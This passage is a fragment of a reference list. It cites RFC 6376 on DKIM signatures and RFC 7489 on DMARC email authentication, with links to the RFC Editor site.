6376 – DomainKeys Identified Mail (DKIM) Signatures](https://www.rfc-editor.org/rfc/rfc6376) - [13] [RFC 7489 – Domain-based Message Authentication, Reporting, and Conformance (DMARC)](https://www.rfc-editor.org/rfc/rfc7489)